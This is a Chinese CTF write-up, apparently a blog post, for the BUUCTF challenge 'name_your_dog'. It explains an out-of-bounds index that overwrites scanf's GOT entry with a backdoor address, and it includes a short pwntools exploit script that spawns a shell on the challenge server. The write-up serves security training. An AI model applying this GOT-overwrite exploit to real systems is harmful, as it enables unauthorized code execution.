[BUUCTF]PWN——wustctf2020_name_your_dog(越界修改got表)

wustctf2020_name_your_dog

  1. 例行检查,32位程序,开启了canary和nx
    在这里插入图片描述

  2. 本地试运行一下看看大概的情况
    在这里插入图片描述

  3. 32位ida载入,检索字符的时候发现了后门函数,shell_addr=0x80485cb
    在这里插入图片描述

  4. 主要函数,感觉跟cat那题差不多 在这里插入图片描述

  5. 漏洞函数
    在这里插入图片描述
    跟cat又有点不一样,cat的参数存储在栈上,可以通过计算buf与ret的偏移来修改ret为后门,这次的buf在bss段,没法获取栈地址。

  6. bss段距离got表不远,这边的想法是将printf@got修改成后门函数,这样在调用printf的时候就能获取shell了。
    但是在计算偏移的时候发现print@got的偏移不是8的整数倍
    在这里插入图片描述
    print@got偏移=(0x804a00c-0x0804A060)/8=–10.5
    看Namewitch函数发现scanf函数也会执行,就转变该scanf@got了
    scanf@got偏移=(0x804a028-0x0804A060)/8=–7

exp:

from pwn import *
p = remote("node3.buuoj.cn",25798)
#p = process("./wustctf2020_name_your_dog")
shell = 0x080485CB
p.sendlineafter(">",'-7')
p.sendlineafter("Give your name plz: ",p32(shell))

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值